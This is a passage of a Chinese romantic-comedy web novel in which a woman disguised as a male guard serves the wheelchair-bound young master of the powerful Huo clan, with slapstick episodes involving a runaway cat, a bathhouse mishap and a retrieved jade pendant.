云琛、小六和荀戓,三人坐在册房里。
小六和荀戓奋笔疾书,从姓名年龄特长,到身份来历父母族姓、七八姑八大姨、个人经历交友、恩仇来往,通通言尽详实地写在身册上。
小六就差把三岁尿床的事情也写上去了。
一份交底的身册,是所有护卫跟了主子之后必须要写的。
只有这样,才算在主子面前清白透明,也是表明将身家性命交予主子之意。
放眼望去,书架上,护卫们的身册整整齐齐地码了一面墙,每个人的身册都是厚厚一本,最薄的也有八九十页。
所以,当记册先生看到云琛坐了半个时辰,却只写出薄薄一页纸的时候,那表情惊讶、困惑又怀疑,十分复杂。
不是云琛不想写,是实在不敢写。
这身册上写的每一句,霍帮都会派专人去查验真假。
她若写明自己来自幽州云氏,不出三日,霍帮的人就会查到她家,发现她其实是女子,她还如何做护卫?
她想写自己是个孤儿,可她是个直来直去的性格,最不擅长说瞎话。
她倒是想如实写明随师父习武的经历,但她那师父偏偏又是个寡言少语的神秘性子。
她只知道她师父姓江,别的一概不知。
故而,她抓耳挠腮地想了一个时辰,最后落在纸上,只敢有短短一句实话:
“云琛,年十七”。
记册先生不敢擅专,赶忙将此事禀告霍乾念。
不到一刻钟,叶峮来了。
说霍乾念准了,一页就一页,存档即可。
记册先生以为霍乾念大度,疑人不用,用人不疑。
叶峮却更加坚信云琛活不久了。
他觉得霍乾念早晚会找个由头弄死云琛,叫她连考察期都活不过,身册就是白废纸张而已。
登记造册后,小六和荀戓被各自分去别处。
云琛受了五日入府教导,领了服制和腰牌,而后接下她来到霍帮的第一个差事:
抓带猫刺客。
叶峮将这个任务交给她的时候,她的表情就跟吃了苍蝇屎一样。
自己抓自己,很好。
叶峮还以为她是没信心,拍拍她肩膀安慰:
“我知道这差事很难,一般新人都是先从巡逻、值夜的院卫做起,很少一上来就接这么大差事。但这是少主亲口下令,可见少主赏识你。”
其实他想说:我们布那么大网都抓不到的刺客,你咋可能抓到,唉,少主估计要拿这个借口整你。
云琛心情复杂地领下差事,独自走出霍府,漫无目的地在大街上游走。
她的心情在“自首”与“逃跑”之间来回摇摆。
自首吧,她不想把脸皮送给霍乾念当脚垫。
逃跑的话,只怕要连累荀戓和小六,他们好不容易才成为护卫。
领到霍帮护卫服制时候,虽是最低等的服制,二人却欢田喜地得跟什么似的,小六连做梦都在笑。
她不能连累兄弟,只能找到个清净湖边,一坐就是一整天。
看着街上人来人往,她忍不住唉声叹气,颇有种失业的感觉。
眼见天色越来越黑,到了该回去画卯的时辰,云琛散漫地拖着脚步往回走。
经过熟悉的街道时,街坊们瞧她已改头换面,一身鲜亮的霍帮护卫服,全都围着她上下打量,喜笑颜开,跟自家村里出了个状元似的骄傲。
那拄拐的老太太更是高兴得老泪纵横,怎么看云琛怎么稀罕。
“云小子终于出息了!”
“这么好的孩子,谁忍心埋没啊,老天总算有眼!”
“这才到哪儿,云小子的升官发财路长着呢!”
云琛不忍辜负街坊们的心意,只能咽下心头烦恼,打起精神一一回应。
这时妙妙不知从哪钻出来,一嘴糖葫芦渣子,抱住她膝盖,仰起小脸问:
“云哥哥,你当护卫了,还给我抓猫吗?”
云琛蹲下身,爱怜地捏捏妙妙的小脸,“抓呀,云哥哥永远给你抓猫的。”
“哦太好喽!”妙妙高兴地欢呼,“那你快去吧,猫又跑丢了。”
于是,云琛按老法子,用小鱼干作为贿赂,向路边的流浪猫打听。
在猫儿们“喵喵”的示意下,她很快找到正搂着两只小母猫,悠闲在屋顶上晒黄昏的黑猫。
云琛简直好气又好笑。
要不是这家伙,她也不至于得罪霍乾念。
“实在不行,我就拿你去交差,‘带猫刺客’嘛,我抓到‘猫’也算完成一半,对吧?”她抓住黑猫一顿揉捏,吓唬它:
“你别得瑟,那霍帮少主可厉害着呢,他要拿你的猫皮当脚垫!”
不知是不是云琛的话奏效,回霍府的路上,黑猫一路都没有挣扎叫唤,乖乖被云琛抱在怀里。
云琛也不是真想拿只猫去顶罪,她想在霍府找个结实些的笼子关猫,再带给妙妙。
然而云琛还是太单纯。
一只天天不着家、泡妞都两只母猫起步的家伙,能是什么正经好猫。
云琛刚从偏门进霍府,正要找笼子时,那黑猫却突然暴起,咬了云琛鼻子一口就跑。
云琛气得大骂,捂着冒血的鼻子追上去。
远处岗哨上,值守的霍帮护卫见一人影一猫影在府里上蹿下跳,下意识想到那夜的带猫刺客,立刻卯足力气,猛敲醒钟,声嘶力竭地大吼:
“带猫刺客又来了!!保!护!少!主!!”
伴着“咣咣——”的巨大钟声,整个霍府如同炸锅一样,全体惊动起来。
下人们快速关死各处大门,护卫们纷纷抽刀备战,叶峮飞身跳上岗哨迅速布阵指挥。
所有人都往霍乾念所在的北柠堂集结跑去。
云琛对这些毫不知情,她忙着跳上屋檐追猫,听见钟声,还以为是霍帮开晚饭。
她轻功急跑,飞身扑向黑猫。
由于冲力太大,她不得已抱着猫在屋顶上缓冲打滚。
刚想翻身爬起,却感到身下陡然一空——
完全没料到屋顶有个天窗,还特么是朝里开的!她直接连人带猫掉下去,“轰”地落进个大水池里。
巨大的水花在浴房里炸开。
那黑猫怕水,一边撕心裂肺“喵呜”叫唤,一边挣扎着想逃出水池;
云琛两只手抓着猫不肯松,腿上想站起来,但不知水里放了东西,一个劲打滑,她试了好几次又都摔回去。
人和猫就像俩大号棒槌,将一池洗澡水搅得哗啦作响,水花飞溅不停。
手忙脚乱之间,云琛听见一个压抑着怒火的声音发出质问:
“玩够了么?!”
云琛停下动作循声望去,霍乾念正两臂舒展,赤条条靠在池边,大半个身子泡在水里,一双凤眸冷厌地盯着她。
本该是美男泡澡、非常俊美养眼的一幕,但因为云琛和猫将池子折腾“海浪滔天”,所有水都扑在了霍乾念头上。
此时此刻,他头发像水草一样湿嗒嗒贴在脸上,满头挂着泡澡用的甘草、艾叶……还有一朵大红莲。
他缓缓抬手,扯下头花,朱唇微张,吐出嘴里一搓湿猫毛。
他咬了咬牙,没有说话。
空气陷入死一样的寂静。
云琛则浑身湿漉漉地拎着猫,眼睛溜圆地瞪着霍乾念赤裸的胸口,大脑一片空白。
此时,叶峮带着护卫们风风火火赶到,乌泱泱一大群人惊叫着:
“少主!那带猫刺客又来了!”
“保护少主!”
“快给少主穿衣服!”
“先穿裤子!”
然后撞开屋门。
叶峮率先冲进来,在水池边刹住脚。
他看看狼狈而一丝不挂的霍乾念,而后与傻愣愣站在池子里的云琛对视上。
在叶峮充满疑问的注目下,云琛被猫咬过的鼻头缓缓流出两行血。
近乎凝固的尴尬与沉默中,不知是谁说了句“好白”。
所有人下意识齐刷刷看向霍乾念的身子。
屋门口,慢一步赶来的丫鬟和老妈子们,也伸长了脖子往浴房里看去,发出“哇哇”的惊叹。
不出意外的话,府里未来一段时间的话题,将全部是关于霍乾念“美男沐浴”的……
霍乾念面无表情,咬牙切齿地挤出一个字:
“滚。”
他声音不大,但足够叶峮听清。
叶峮迅速说了声“这里安全没有刺客少主你慢慢洗”,而后头也不回地跑掉。
其他护卫们也都极有眼色,一个个低着头,脚底抹油跑得极快。
刚才还挤得水泄不通的浴房,瞬间又变得空荡。
云琛最后一个反应过来,她蹑手蹑脚地往外走,不敢与霍乾念对视,却用余光瞄到他一脸寒霜,正死死盯着她。
她手脚并用地爬出水池,总觉得太安静了,该寒暄两句再走吧,但脑袋却仿佛卡壳一样。
说点啥吧,太尴尬了。
死嘴!快想啊!
她努力转动神经,最终“嘿嘿”尬笑:
“少主,你衣裳真好看,哪儿买的?”
第一卷 第6章 护卫三千他只骂你
“你是说,那个新来的护卫云琛,借口抓猫,喊了全府的人去看少主洗澡?”
“千真万确,张妈亲眼看见了,少主那个白呦,那身材,啧啧......”
“不可能吧,少主何等金贵,平时除了贴身伺候的润禾,谁人都不让靠近,更别说被人看光了!”
“有啥不可能的!那云琛都看流鼻血了!”
“天,少主啥时候被人这样冒犯过?不得发火杀人?”
“倒......也不至于,毕竟是云琛嘛,又不是第一次冒犯了。”
“......”
不出意料,接下来几天,云琛不论走到哪里,都能听见她和霍乾念的名字摆在一起。
各种令人面红耳赤的流言蜚语悄悄在府里流传,护卫们看向云琛的眼神,除了“佩服”,更多的像是在看傻子。
他们想不通,人怎么可以捅出这么大的篓子?
叶峮则叹无可叹,为了叫云琛远离人群,享受人生最后一段平静的时光,他将她分在府里最偏僻幽静的后门值守,暂时不用出门抓“带猫刺客”了。
于是,云琛只能成天抱着黑猫,坐在后门的柳树上唉声叹气。
“唉,‘你衣裳真好看’,对着一个泡澡的人,我怎么说得出口的啊?”
她拍自己脑袋一巴掌,转头看到笼子里没心没肺呼呼大睡的黑猫,一把将它揪起来,凶狠道:
“少主说了,抓不到刺客,抓到猫也可以!拿你的皮去,可以不要刺客的皮!”
那天在浴房,云琛满脸通红地离开之前,霍乾念看了眼她手里的猫,最后说了那么几句。
可看到猫儿湿淋淋蜷缩成一团的小眼神,再想到爱猫的妙妙,云琛怎能忍心,只能搪塞说,这是只来府里捣乱的流浪猫。
在她看来,人的皮是皮,猫的皮也是皮,谁又比谁高贵呢。
“唉......”
云琛郁闷地撑头坐着。
忽而,清风袭来,将一股甜甜的脂粉香气送进她的鼻子。
同时还有一个鬼鬼祟祟脚步声正靠近。
云琛看了眼天色,已是亥时,天全黑透,谁人会这个时间来后门?
她跳下柳树,正迎上一道少女倩影乘月而来。
见到云琛,少女登时一愣:
“这里不一直没人把守吗?你什么时候来的?”
云琛不知这少女是谁,看衣裳是府里的高等侍女,但气质却又十分傲慢贵气,便道:
“在下云琛,三天前来此值守。”
“新来的?”少女心中暗喜,“那赶紧开门,我要给二小姐出门采买胭脂去!”
霍府治家很严,所有人进出霍府,都必须得有霍乾念亲自签批的手令或腰牌。
少女显然拿不出。
云琛便道:“我不太相信,这么大的霍府,竟能让二小姐非到胭脂用完时才去采买。”
少女眉头一拧,“你管呢,二小姐就喜欢用新鲜的!”
“多新鲜的?”
“鲜花汁子现调的!”
“什么颜色?”
“石榴色。”
“一次涂多少?”
“额......一点点!”
“一个月用几盒?”
“那个......好几盒!”
话说到这份上,云琛已心下明了,恭敬行礼道:
“二小姐,您别装了,侍女们对主子用多少东西,肯定都极为清楚,您是装不来的。”
少女哑口无言。
她本想凭云琛新来没见过她,好蒙混出府呢,谁知三言两语就被套出,她就是霍乾念的胞妹霍阾玉,臊得她脸有点红。
霍阾玉索性不再废话,亲自动手去抬门栓。
照平常,只要她使出这一招,再不近人情的护卫也会因为避嫌而不敢阻拦。
谁知云琛却两手交叉环在胸前,两腿迈开立如铁塔,将门堵得严严实实。
少女一时止步不及,差点撞进云琛怀里。
她的发顶从云琛下巴擦过,头上的玉兰簪子一晃,晃得云琛下意识微微仰头,眯了眯眼睛。
但看在少女眼里,却只觉得这新来的俏护卫不卑不亢,还挺有个性!
“嘁!”霍阾玉偷溜失败,不乐意地撅起嘴,小声抱怨:“讨厌,坏我好事!”
好事?云琛想都没想地问:
“二小姐要去会情郎?”
“胡说八道什么呐!”霍阾玉脸颊微红,不知是恼的还是羞的,“谁告诉你大户人家的小姐半夜出府,一定是去会情人的?”
“那你干嘛去?”
“去听说书啊!今日该讲前朝女将军于惊马之下救命小将士的故事了,我可想听呢!”
云琛无语,但她的表情很明白:不管你干啥去,没令牌,想都不要想。
霍阾玉泄气地蹲在地上画圈圈,抬头留意到柳树上的黑猫,又高兴起来,“好可爱的猫!快拿给我看看!”
云琛将猫笼拿来。霍阾玉隔着笼子,爱不释手地逗弄猫,刚说一句“这猫真黑啊,跟墨染得似的!”
却见那黑猫不知发什么骚,突然抱着霍阾玉的胳膊上下耸动起来,吓得她尖叫一声,整个人向后跌去。
云琛眼疾手快将人扶住,两人面面相觑,大眼瞪小眼。
霍阾玉的小脸以肉眼可见的速度红温了。
“咳咳......”霍阾玉假装清嗓,离开云琛的怀抱,一边摸着发烫的脸,一边轻轻用脚尖踢猫笼,“小坏猫!”
踢着踢着,霍阾玉像是想到了什么,停下动作,睁大眼睛问:
“猫?府里从来没有猫。你该不会就是云琛吧?借口抓猫看我哥洗澡的那个?”
云琛一脸无奈。
霍阾玉“咯咯”笑起来,“原来是你!早听说府上有个神人,几次三番冲撞我哥!不怕,若哥哥要杀你,你就说是我霍阾玉罩的!”
就你?连府门都出不去,还罩我?
云琛正心里想着这话,却听身后突然传来“咚咚”的叩门声。
这声音令两人停止对话,云琛示意霍阾玉退到她身后更安全的位置,抽出靴子里的匕首,以戒备姿态朝门问道:
“何人夜半叩门?”
门外人停顿一瞬,似乎听出云琛的声音,沉着嗓子回复了一个字:
“我。”
云琛打开木门上巴掌大的耳窗,朝外望去。
只见月光盈盈下,霍乾念坐在他那把特制的椅子里,独自停在门外。
云琛觉得很有问题。
别说霍乾念是成天被刺杀的霍帮少主了,单凭他双腿残疾,都不应该一个人出门,她便不客气道:
“请出示霍府手令或腰牌。”
门外,霍乾念眉头跳了跳。
门内,听出霍乾念声音的霍阾玉瞪大眼睛,惊悚地看着云琛,心说:
你真行,我就算了,你还敢不给他开门??
沉默了一会儿,霍乾念沉郁的声音里添了不耐:
“瞪大你的狗眼看清楚我是谁!”
“请出示手令或腰牌。”云琛丝毫不让步。
她只与霍乾念见过两面,其中还有一次因为他光着,她都没敢仔细看,并不十分熟悉他,怎知会不会是霍帮仇家易容而来。
就这么又沉默了许久。
隔着铁桦木的厚重木门,霍阾玉仿佛感受到霍乾念冰冷的杀意。
这时,一道黑影“咻”地飞进耳窗,云琛抬手接住,是霍家少主才持有的山隐月腰牌。
云琛第一次见霍乾念腰牌,不知真假,便拿给霍阾玉查看:
“劳烦二小姐确认一下,这是否确为少主腰牌?”
霍阾玉嘴角抽动:“是……”
云琛不知道这兄妹俩什么毛病,都爱大半夜走后门?
她快速启开门栓,迎着霍乾念冷得快结冰的眼神,行礼道:
“恭迎少主回府。”
霍乾念盯着云琛欠身行礼的头顶,盯了好一会儿,才吱吱呀呀转动着座下的轮椅,进了门。
云琛重新关门落栓,将腰牌呈给霍乾念。
霍乾念没有动,云琛只能走过去,单膝跪在他身前,亲手将腰牌系回他腰间。
抬眼间,只见微风拂动绿柳,月光将细长的阴影投在他清瘦的面庞上。
他生了一双微微上扬的凤眸,长长的睫毛像两把毛茸茸的小扇子,中和了凤眸的犀利,但挺直的鼻梁又一扫温柔,如平地拔起高山,为这张脸拉满了强势和霸道,变得冷峻。
最令人感到压迫的,还是那双凤眸里透出来的气势。
有着比霍阾玉更甚的上位者的高傲和锐利,更有见过刀锋杀戮才有的淡漠和冰冷。
大概是常年不在阳光下走动的缘故,他面色苍白,透出一种病态的冷郁感,整个人看起来英俊又冷异。
唯有额头上的“寿星公”颇为突兀。
看来那夜云琛踩得着实不轻。
此时此刻,看着他微微下垂的嘴角,云琛知道他很不高兴,便起身后退,自觉行礼道:
“请少主恕罪,属下初来乍到,不太熟悉您。”
霍乾念并不搭理云琛,转眸看向旁边的霍阾玉,还未开口,霍阾玉就赶紧讨好笑道:
“哥,你别怪他了,他也是护主心切,尽职责嘛。我是晚饭吃多了,四处闲逛,走一走……”
霍乾念接过话:“于是穿上你侍女小月儿的衣服,走到你经常偷溜出府的偏门来了?如今多少仇敌在外虎视眈眈寻机动手,你上赶着出门送死?”
你不也自己一个人出门了嘛……这句话霍阾玉不敢说,只能闭上嘴,心虚地躲到云琛身后。
霍乾念的目光跟着霍阾玉过去,落在前面的云琛身上。
他眸色清冷,转动轮椅缓慢离去,道:
“明日你去近卫队,我让你好好熟悉熟悉!”
这句话明显是对着云琛说的,她抱拳领命,回声:“是。”
霍乾念又道:“倘若熟悉不了,便抠了你的狗脑子喂鱼!”
“是,少主。”
云琛回应得坦坦荡荡,稀松平常,叫霍乾念手中一顿。
末了,云琛又补了句:“少主慢走!”
慢走……
走……
看着霍乾念僵直的背影,霍阾玉连大气都不敢喘。
一直到霍乾念走远,她才长长地松口气,十分佩服地看着云琛:
“敢在我哥伤口上撒盐捅刀八百个来回的,你是头一个。我哥虽脾气不好,可他对身边出生入死的护卫们很好,甚少骂人,他护卫三千,好像只骂了你……”
第一卷 第7章 跳井
霍帮的发家史颇具传奇色彩。
楠国三年时,原本一枝独秀的首富玉家突然发现:
那个他们最唾弃不屑的黑帮出身的霍帮,不知从何时起,突然悄悄洗白,摇身一变成了正经商人。
不仅接连吞下建屋、牲畜、爆竹、米粮等产业,还在漕运和兵器煅造这类大行当里,始终与玉家争锋相对。
短短十年,霍帮便成为仅次于玉家的楠国巨富。
到如今楠国二十五年,霍帮已屡年取代玉家首富之位,与玉家争锋不相上下。
尽管霍帮已权势滔天,可在现今礼教森严的楠国,霍帮行事作风依然带着黑道匪气,人们便习惯于称其霍帮,而非“霍家”。
和玉家子弟皆出一脉不同,霍帮家族复杂,以霍老太爷为首的兄弟姐妹众多。
光是霍家第二代,就有二十多个宗族,族人百余。
到了霍乾念这一代,顶着名号为非作歹的霍姓家主和宗族已不下百十个,族人近万。
只不过这几年被霍乾念杀得狠,又只剩二十多族了。
所以如今的霍帮,虽然是霍乾念掌权,一人独大,可那里里外外的仇家却比雨后春笋还多。
霍乾念这腿,便是仇家所害,大腿以下失去知觉,从此再也无法站立行走。
那时,如日中天的霍乾念本已与江南大盐商的韩家大小姐定下婚约。
可在霍乾念腿残了之后,韩家甚至都没有派人来问候一声,便一纸信函草草退婚。
那夜,云琛遇见霍乾念独自一人半夜从后门回来时,就是韩家大小姐另嫁成婚的日子。
众人都猜测,霍乾念是去偷偷看那韩家大小姐成婚了。
没有人敢明说,所有人对霍乾念都是又怕又同情。
一个双腿残废被退婚的男人,掌管霍帮又怎样,再权贵狠辣又如何,实在可怜。
但云琛却觉得好生浅薄。
她直觉感到霍乾念不像是会为情所困之人。
更像个会挥剑斩……情人的人。
事实也证明,她猜的没错。
那夜后门又一次冒犯后,她被调去近卫队,值守和巡逻的范围变成霍乾念的北柠堂。
作为近卫,云琛主要在正堂外围行走,霍乾念身边只许心腹亲卫在侧。
霍家祖辈相传的规矩,近卫可无数,但亲卫必六人。
可因这些年霍乾念身边血腥杀斗不断,亲卫以命换命、护卫霍乾念死里逃生的次数实在太多。
再加之入亲卫的要求极高,必得手有绝杀技,心有家主恩,愿为主子肝脑涂地才行。
所以亲卫席位长年空缺,从来没六角齐全过。
眼下,霍乾念身边的亲卫,加上叶峮,一共只有三人。
自入霍府以来,云琛只见过叶峮。
另外两人据说被外派机要事务,一时半会回不来。
霍乾念身边人手不够,云琛常常看到他一个人冷淡着面容,独自坐在书房里。
大概是心腹不够用的原因,一天深夜里,云琛“有幸”得到了霍乾念的亲自召唤。
霍家护卫们睡觉的地方,是间一览无余的大房,里面是一条条间隔半丈的通铺。
云琛来的晚,睡在靠门的位置。
夜里,云琛睡的正香。
她正梦见和小六在河里捞鱼呢,刚捉到一条肥硕的大黑鱼,死命压着活蹦乱跳的鱼身,还没来得拖上岸,就听一道冷冷的声音在梦里叫她:
“云琛!”
云琛有种被阎王爷点名的惊恐感,打了个哆嗦,瞬间惊醒。
“云琛,出来。”
那声音又叫。
并不大声,刚好传到门口。
只是那语调阴冷又不悦,云琛一下子就听出是霍乾念的声音。
考虑了一下,云琛怕惊扰其他人人,便没有去推吱呀作响的大门,而是单手撑窗,纵身跳了出去。
盈盈月光下,只见霍乾念独自一人坐在轮椅上,两手交叠,修长的骨节交错,端放在腿上,一脸冷漠地看着她,姿态十分淡定。
如果不是因为他额头上的“寿星公包”凸起反光,能看出些细密的汗珠,她差点就信了他这副老泰山的模样。
不知他为何大半夜一个人推着轮椅,专门跑来大房找她,她小声行礼:
“见过少主。”
霍乾念冷冷地打量她,吐出一个字“走”,而后转着轮椅,慢慢朝后花园而去。
云琛安静地跟在后面。
两人一前一后走着花园小道,月光将她高挑的影子投在他面前的路上。
夜风吹得树叶哗哗作响,也吹动她高高的“少年”束发。
那影子飞扬的发丝莫名吸引了他的注意,他不觉看了一路,差点将轮椅推进沟里去。
“少主,你除了腿疾,还有眼疾吗?”她随意地用脚轮椅勾正,压根没瞧见他脸色多难看。
大概半个时辰后,霍乾念停在了一处有些陈旧的院落前。
因为很少自己推轮椅的缘故,他的呼吸有些粗重,不悦地睨了云琛一眼,后者立刻上前推开院门。
一座气势凌厉的黑色七角石楼出现在眼前,陈旧的牌匾上狂草着三个大字:
杀月楼。
云琛听说过,这是霍乾念移居北柠堂之前居住的院落。
自霍乾念移居后,这里便一直封着,不许任何人进入。
二人穿过寂静的石楼,来到后院。
因为长久不打理的缘故,院子里杂草疯长,足足有一人多高,且十分茂密。
不知为何,云琛下意识觉得,这是个杀人埋尸的好地方,该不会是霍乾念发现她是“带猫刺客”,准备在这动手了吧?
心里冒出这么个念头后,云琛第一反应就是打量霍乾念的轮椅。
她百分百确信打得过他,再从这里逃出霍府,问题应该不大。
就是小六和荀戓那里有点麻烦,得想法子不要牵连他们。
云琛心里不停东想西想,考虑该怎么应付这个才认识几天的新主子,却见霍乾念突然探身,摸向轮椅下方的储物盒。
拿刀?
她瞬间警戒,下意识弹跳后退,紧张地盯着霍乾念。
后者淡淡看她一眼,并不理会她神经质的反应,而是拿出一副麂皮脚套。
“下去,捞一块青水色的碧玉佩上来。”
云琛接过脚套,是护卫们攀登垂直湿滑的墙壁时最常用的东西,可以避免膝盖受伤。
再顺着他眼神示意的方向看去,云琛这才发现草丛里有一口黑黝黝的石井。
握着手里麂皮粗糙厚重的质感,云琛心里那点戒备瞬间没了,这才知道是自己想多,不由一笑,道声“属下遵命”,立刻头也不回地跳下井。
没有一点犹豫,甚至没有多问一个字,就那么干脆利索地跳下去了。
明明长着一张青嫩的“少年”脸,偏偏浑身透着股说不上来的决绝狠劲。
而且她方才还莫名其妙地浑身炸毛,眼神里全是对他的戒备,却在接到一丁点示好的时候,又立马从老虎变成猫,还附带着一个好看得要命的傻笑!
原来人可以这么简单的吗,这么容易交出信任?
霍乾念不由眉头微挑,觉得有点意思。
月光明亮,照得井水亮盈盈。
云琛跳下井,冰冷的井水激得她呼吸一滞。
她潜入井底,开始寻找。
想着玉佩应当是圆润莹亮的颜色,云琛瞅准微微发光的东西找过去。
但找了好半天,全是近乎玉化的鹅卵石,并没有玉佩的影子。
感觉气息将尽,她只得重新返回水面,深吸几口气,而后再次下潜。
就这么反复十几次,约莫半个时辰过去,月光渐渐偏西,从井口移开,井里又变得黑乎乎一团。
视线受到阻碍,云琛只能用最笨的办法,摸黑趴在水底,沿着井壁向中心,一寸一寸地摸索。
井外,霍乾念瞧着黑洞洞的井口,没有一点要爬出个大活人的意思,不由眉头渐皱。
第一卷 第8章 隐月剑
过了足足一个时辰,霍乾念终于听见云琛脚蹬井壁的噗噗声。
云琛跳出井,蹬掉麂皮鞋套,小步跑出草丛的时候,正见霍乾念闭眼小憩,样子无聊的像要睡着。
“少主,玉佩找到了。”
“嗯。”
霍乾念慢条斯理地睁开眼,顿时一愣。
只见一张苍白清瘦的“少年”面容呈现在眼前。
平时高高束起的青丝此刻贴在额角,不停往下淌水,叫那双大眼睛忍不住眨巴不停,像一只乖乖讨巧的湿漉漉的小狗。
云琛浑身湿透,被夜风吹得直哆嗦,单膝跪在他面前,伸着秀气又白皙的小手。
那被井底碎石划得满是伤口的掌心里,纵横交错的血痕之上,托着一枚小小的碧玉鸳鸯佩。
他轻轻翕动鼻子,一股清冽、洁净的味道自云琛掌心传来。
他避开不与那双直白又漂亮的大眼睛对视,转动轮椅,进入石楼。
她跟着走进去,身上立马暖和许多。
“这是韩家大小姐的祖传玉佩,当年与我定下婚约时,她寄送我的信物。后来韩家退婚,想收回这枚玉佩,以免落人口实,扰了他韩家大小姐再定婚约。”
他自顾说完,看向她的反应。
那带着几分阴柔气的“少年”,正眨巴着眼睛,神色认真地倾听。
她还是第一次听见这个冷面的少主一口气说这么多字,她觉得自己得竖起耳朵好好听。
而霍乾念却第一次没有在周围人的脸上看见那种小心翼翼藏起来的同情。
他道:“你应当也听说了,前些日子,韩家大小姐成婚了。”
她点点头,“记得,是少主骂我‘狗眼’的那天。”
他嘴角轻微抽动,眼中明显露出不爽的颜色。
她乖乖闭嘴,想了想,又将一直拿着的玉佩双手递上。
他垂眼看着玉佩,鼻子里轻哼一声,用两根修长白皙的手指捏住玉佩一角,提起来打量。
他的睫毛很长,轻轻掩着,叫人看不见他眼里的情绪。
但她却敏锐地觉得,他并没有伤心难过。
无论是他在韩家大小姐成亲日半夜独自出府,还是今夜让擅水性的她去捞定情玉佩。
她都觉得,他根本不是什么“被情人抛弃的霍乾念”。
嘴比脑子快了一步,云琛道:
“少主是准备把这玉佩扔到韩家人的脸上吗?”
霍帮这几年在商扩张非常厉害,云琛早就听说,最近霍帮底下的各个堂口一直有动作,似乎是要找机会吞并大盐商韩家。
听到云琛这么问,霍乾念忍不住扬眉,凤眸微亮,眼尾弯起两分戏谑:
“可明明前几日,我还在人家韩家大小姐成婚日,半夜独自去看亲礼了呢,不应该说明我十分神伤吗?”
云琛呲着一口整齐的贝齿,笑道:
“少主应该不是去看亲礼的——是去认韩家大小姐的。”
见他眉头挑的更高,眼睛里甚至带了两分笑意,示意她继续说,她便道:
“属下猜,少主是去认下韩家大小姐的脸,好过些时日吞下韩家的时候,将玉佩扔在她脸上,叫她和韩家都知道不敬少主的下场。而且拿‘退婚’当由头,商战才更师出有名嘛!”
好家伙!
这么多年了,第一次有人分毫不差地猜中他心中所想!
人人都道他是因为被退婚而神伤。
殊不知这两家之间定下的联姻,他本就反对至极,当年不知道和霍老爷子吵了多少次。
而那韩家大小姐本人,他更是见都没见过!谈个屁的神伤!
那玉佩也是退婚时,他随手扔进井里的。
他霍乾念岂是为儿女之情牵绊的人?
况且认人这回事,不得自己亲自认清更好?
可周围人不断投来的同情目光,实在让他烦躁,半句话都不想多说。
他想知道那韩家大小姐长得几个鼻子几个眼,叫人弄副画像来看看,周围人便一脸恍然大悟外加替他心酸的表情;
他想知道亲礼几月几日在哪里举行,周围人小心翼翼禀报完,便故意说笑着岔开话题。
看似安慰,实则恼得他快心梗。
人人都认定他“为情所伤”,其实他只是想知道韩家大小姐是哪一个而已!免得日后碰面时,连人都不认得!
他干脆清清静静独自一人去瞧个清楚。
眼下,终于被人理解的感觉实在太妙!
他心情大好,眉眼都露出破冰愉悦的神色,刚想开口,却听她又接着道:
“就像狗撒尿留记号,少主去亲眼认得那韩家大小姐的脸,才不至于今后扔玉佩时扔错脸,丢了面子。”
他差点就要扬起的嘴角,硬生生给僵住了。
盯着她那张诚恳又纯洁的脸,他面上一半晴,一半阴,雷电交加地纠结了好一会,才又重新结冰,冷声道:
“你这狗东西,说的尽是屁话!”
她咧嘴笑笑,少年纯真气更甚。
他瞪她一眼,转而目光落在她没有佩武器的腰间,道:
“这里的中堂书房墙上挂着一把剑,你去取来。”
她领命而去,片刻后便取剑回来,原地已空无一人。
“少主?”她叫了一声。
回应她的只有四下的风声和夜虫的鸣叫。
不敢相信一个残疾人行动这么快,担心他会不会出什么意外,她赶紧使出轻功,沿石楼飞角轻盈攀上。
爬到四楼的时候,她终于望见霍乾念的身影。
没有什么意外,他竟然就靠双手推轮椅,在她取剑这么一眨眼的功夫,离开了院子,吭哧吭哧地朝北柠堂回去。
她赶紧轻功追上,飞身落定在他面前,拦住他的去路。
“少主,你干嘛跑这么快?”
不知为何,她明显感觉到他身子一僵。
“少主,您要的剑。”她又单膝跪下,将剑呈上。
头顶传来他气息有些不平还有点不自然的声音:
“你先替我收着吧。”
说罢,他转着轮椅,伴着骨碌碌的声音离去。
她感觉莫名其妙,还想再问,却听那边传来一声惊呼,霍乾念身边的贴身小厮润禾找了过来,惊叫道:
“少主,您怎么满头是汗,吹了风可不得了!”
说罢,润禾还不满地看了云琛一眼,似乎是在埋怨她没有将霍乾念照顾好。
云琛两手摊开,一脸无辜,目送那主仆二人离开,然后兴奋地开始打量手中剑。
对习武之人来说,一把趁手的武器很重要。
而对云琛这样的高手来说,剑等于兄弟姐妹,相当于自己半条命。
云琛没钱,她的剑一直都是地摊上随便买的。
好在素日也没什么机会使大力气用剑,就这么将就了好几年。
前些日子剑断了,她便一直空着手。
却不想霍乾念竟赏了一把剑给她。
她虽然没钱买好剑,但不代表她没见过好剑。
从前她跟着她那神神秘秘的师父习武,偶然见过她师父的剑。
怎么说呢,就像有的人第一眼看起来慈眉善目,有的人初印象瞧着凶神恶煞。
她师父的剑,身泛银光,削铁如泥,只看一眼,都觉阴寒逼人,是一种不杀过千百人难有的血腥寒意。
她至今都记得被一把剑震慑到的感觉。
那剑鞘纹理最深处,甚至还藏着黑色的陈旧血垢,不知是哪个冤魂残留。
但即使已见识过宝剑,在拿到霍乾念的剑时,她还是被惊艳了一把。
霍乾念的剑,剑鞘上刻着山隐月的图案,鞘口带莲花棱角,表面上看着阴郁又冷淡。
打开剑身,只见修长如星尾,剑身极薄,微微泛着青蓝色。
这剑内里上下都透着一股“别惹我”的高冷危险气质。
但使剑的行家怎么能按耐得住。
她忍不住用大拇指碰了下剑刃,瞬间被划出一道深深的血口子。
红色的鲜血染在剑身上,透出一种阴鸷的美感。
她看看流血的大拇指,感觉像是又被霍乾念的剑给骂了。
对着这把一看就价值不菲的宝剑,云琛很发愁,不知道是该用起来呢,还是供起来。
不敢将剑随意放置,她只得随身带着,抱着剑上岗值守,听命办差。
不出意外,所有人在看到她拿着霍乾念的“隐月剑”时,都会露出惊讶的神情,忍不住多打量她两眼。
见她是个简单直爽、平易近人的模样,又都忍不住面露困惑。
只有叶峮忧心忡忡,他觉得这恐怕是霍乾念叫云琛拔剑自刎的意思。
叶峮觉得很可惜。
与云琛相处的这些日子,他已看出,这小家伙就是太诚实了些,说话不带脑子。
但胜在本领高强,心性单纯,且十分聪慧,常常一点就透。
“可惜了,可惜了”。叶峮总是对抱剑值守的云琛这样说。
云琛还以为他是说剑交给她用太可惜了,坦然一笑:
“是可惜了,所以我不打算用,我打算攒点钱盖个庙,给它供起来。”
